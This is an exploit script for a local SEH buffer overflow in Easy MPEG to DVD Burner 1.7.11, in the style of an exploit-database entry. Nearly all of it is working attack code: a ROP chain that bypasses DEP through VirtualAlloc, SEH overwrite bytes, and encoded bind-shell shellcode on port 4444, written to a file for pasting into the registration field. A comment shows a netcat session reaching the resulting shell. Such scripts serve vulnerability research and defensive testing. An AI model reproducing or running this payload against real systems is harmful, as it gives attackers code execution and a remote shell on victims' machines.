Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) (DEP Bypass)

#!/usr/bin/python

#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow                                                     #
# Date: 2018-05-19                                                                                                                   #
# Author: Juan Prescotto                                                                                                             #
# Tested Against: Win7 Pro SP1 64 bit                                                                                                #
# Software Download #1: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html                                             #
# Software Download #2: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe                        #
# Version: 1.7.11                                                                                                                    #
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine                                            #
# Credit: Thanks to Marwan Shamel (https://www.exploit-db.com/exploits/44565/) for his work on the original SEH exploit              #
# Steps : Open the APP > click on register > Username field > paste in contents from the .txt file that was generated by this script #
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characers: \x00\x0a\x0d                                                                                                        #
# SEH Offset: 1012                                                                                                                   #
# Non-Participating Modules: SkinMagic.dll & Easy MPEG to DVD Burner.exe                                                             #
#------------------------------------------------------------------------------------------------------------------------------------#
# root@kali:~/Desktop# nc -nv 10.0.1.14 4444                                                                                         #
# (UNKNOWN) [10.0.1.14] 4444 (?) open                                                                                                #
# Microsoft Windows [Version 6.1.7601]                                                                                               #
# Copyright (c) 2009 Microsoft Corporation. All rights reserved.                                                                     #
#                                                                                                                                    #
# C:\Program Files (x86)\Easy MPEG to DVD Burner>                                                                                    #
#------------------------------------------------------------------------------------------------------------------------------------#

# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)

import struct

def create_rop_chain():

    rop_gadgets = [
      #***START VirtualAlloc() to ESI***
      0x10027e6b,  # POP EAX # RETN [SkinMagic.dll] ** 
      0x1003b1d4,  # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
      0x100369a1,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll] 
      0x10032993,  # POP EBX # RETN [SkinMagic.dll] 
      0xffffffff,  #  
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll]
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll]
      0x10037bc0,  # POP EDX # RETN [SkinMagic.dll]
      0xffffffff,  #
      0x10035a07,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
      0x10037654,  # POP EAX # RETN [SkinMagic.dll] 
      0xa141dffb,  # 
      0x100317c8,  # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x1003248d,  # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x41414141,  # FILLER
      0x1003993e,  # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      #***END VirtualAlloc() to ESI***

      #***START 0x40 to ECX***
      0x100185fb,  # XOR EAX,EAX # RETN [SkinMagic.dll]
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER  
      0x10037c5b,  # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
      0x41414141,  # FILLER
      0x10032176,  # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
      #***END 0x40 to ECX***

      #***START 0x1000 to EDX***
      0x10032993,  # POP EBX # RETN [SkinMagic.dll] 
      0xaaaaaaaa,  #
      0x10037bc0,  # POP EDX # RETN [SkinMagic.dll]
      0x55556556,  #
      0x10037654,  # POP EAX # RETN [SkinMagic.dll] 
      0xa141dffb,  # 
      0x100317c8,  # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x1003248d,  # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
      0x41414141,  # FILLER
      #***END 0x1000 to EDX***

      #*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
      0x1002829d,  # POP EBP # RETN [SkinMagic.dll]
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x41414141,  # FILLER
      0x100284f8,  # {pivot 16 / 0x10} :  # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
      #*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***

      #***START 0x1 to EBX***
      0x10032993,  # POP EBX # RETN [SkinMagic.dll] 
      0xffffffff,  #  
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll] 
      0x10037bd3,  # INC EBX # FPATAN # RETN [SkinMagic.dll]
      #***END 0x1 to EBX***

      #***START ROP NOP to EDI***
      0x100342f0,  # POP EDI # RETN [SkinMagic.dll] 
      0x10032158,  # RETN (ROP NOP) [SkinMagic.dll]
      #***END ROP NOP to EDI***

      #***START Gadgets to execute PUSHAD / Execute VirtualAlloc()***
      0x10037654,  # POP EAX # RETN [SkinMagic.dll] 
      0xa140acd2,  # CONSTANT
      0x100317c8,  # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] (Puts location of a PUSHAD into EAX "0x00407555",   # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
      0x1003248d,  # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x00407555,   # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
      #***END Gadgets to execute PUSHAD***

      #***After Return from VirtualAlloc() / stack pivot land in ROP NOP Sled / jmp ESP --> Execute Shellcode***
      0x10032158,  # RETN (ROP NOP) [SkinMagic.dll]
      0x10032158,  # RETN (ROP NOP) [SkinMagic.dll]
      0x10032158,  # RETN (ROP NOP) [SkinMagic.dll]
      0x10032158,  # RETN (ROP NOP) [SkinMagic.dll]
      0x1001cc57,  # & push esp # ret  [SkinMagic.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

nop_rop_chain_1 = "\xbd\xdd\x02\x10" * 18 # 0x1002ddbd : {pivot 12 / 0x0c} :  # ADD ESP,0C # RETN [SkinMagic.dll]
nop_rop_chain_2 = "\x58\x21\x03\x10" * 22 # RETN (ROP NOP) [SkinMagic.dll]
seh = "\x06\x4e\x40" # 0x00404e06 : {stack pivot 1928 / 0x788} (Lands us into rop nop chain --> rop_chain) :  # POP EDI # POP ESI # POP EBP # MOV DWORD PTR FS:[0],ECX # POP EBX # ADD ESP,778 # RETN [Easy MPEG to DVD Burner.exe]
nop = "\x90" * 20

#Max Space Avaliable for Shellcode = 600 bytes
#------------------------------------------------------------------------------------#
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d' -f py -v shellcode #
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)                           #
#------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xb8\x50\x08\x0f\xf2\xd9\xe9\xd9\x74\x24\xf4\x5b"
shellcode += "\x29\xc9\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x93"
shellcode += "\x0c\xed\x07\xef\xe5\x73\xe7\x0f\xf6\x13\x61\xea"
shellcode += "\xc7\x13\x15\x7f\x77\xa4\x5d\x2d\x74\x4f\x33\xc5"
shellcode += "\x0f\x3d\x9c\xea\xb8\x88\xfa\xc5\x39\xa0\x3f\x44"
shellcode += "\xba\xbb\x13\xa6\x83\x73\x66\xa7\xc4\x6e\x8b\xf5"
shellcode += "\x9d\xe5\x3e\xe9\xaa\xb0\x82\x82\xe1\x55\x83\x77"
shellcode += "\xb1\x54\xa2\x26\xc9\x0e\x64\xc9\x1e\x3b\x2d\xd1"
shellcode += "\x43\x06\xe7\x6a\xb7\xfc\xf6\xba\x89\xfd\x55\x83"
shellcode += "\x25\x0c\xa7\xc4\x82\xef\xd2\x3c\xf1\x92\xe4\xfb"
shellcode += "\x8b\x48\x60\x1f\x2b\x1a\xd2\xfb\xcd\xcf\x85\x88"
shellcode += "\xc2\xa4\xc2\xd6\xc6\x3b\x06\x6d\xf2\xb0\xa9\xa1"
shellcode += "\x72\x82\x8d\x65\xde\x50\xaf\x3c\xba\x37\xd0\x5e"
shellcode += "\x65\xe7\x74\x15\x88\xfc\x04\x74\xc5\x31\x25\x86"
shellcode += "\x15\x5e\x3e\xf5\x27\xc1\x94\x91\x0b\x8a\x32\x66"
shellcode += "\x6b\xa1\x83\xf8\x92\x4a\xf4\xd1\x50\x1e\xa4\x49"
shellcode += "\x70\x1f\x2f\x89\x7d\xca\xda\x81\xd8\xa5\xf8\x6c"
shellcode += "\x9a\x15\xbd\xde\x73\x7c\x32\x01\x63\x7f\x98\x2a"
shellcode += "\x0c\x82\x23\x45\x91\x0b\xc5\x0f\x39\x5a\x5d\xa7"
shellcode += "\xfb\xb9\x56\x50\x03\xe8\xce\xf6\x4c\xfa\xc9\xf9"
shellcode += "\x4c\x28\x7e\x6d\xc7\x3f\xba\x8c\xd8\x15\xea\xd9"
shellcode += "\x4f\xe3\x7b\xa8\xee\xf4\x51\x5a\x92\x67\x3e\x9a"
shellcode += "\xdd\x9b\xe9\xcd\x8a\x6a\xe0\x9b\x26\xd4\x5a\xb9"
shellcode += "\xba\x80\xa5\x79\x61\x71\x2b\x80\xe4\xcd\x0f\x92"
shellcode += "\x30\xcd\x0b\xc6\xec\x98\xc5\xb0\x4a\x73\xa4\x6a"
shellcode += "\x05\x28\x6e\xfa\xd0\x02\xb1\x7c\xdd\x4e\x47\x60"
shellcode += "\x6c\x27\x1e\x9f\x41\xaf\x96\xd8\xbf\x4f\x58\x33"
shellcode += "\x04\x7f\x13\x19\x2d\xe8\xfa\xc8\x6f\x75\xfd\x27"
shellcode += "\xb3\x80\x7e\xcd\x4c\x77\x9e\xa4\x49\x33\x18\x55"
shellcode += "\x20\x2c\xcd\x59\x97\x4d\xc4"

exploit = nop_rop_chain_1 + nop_rop_chain_2 + rop_chain + nop + shellcode + "\x41" * (1012-len(nop_rop_chain_1)-len(nop_rop_chain_2)-len(rop_chain)-len(nop)-len(shellcode)) + seh

f = open ("Exploit.txt", "w")
f.write(exploit)
f.close()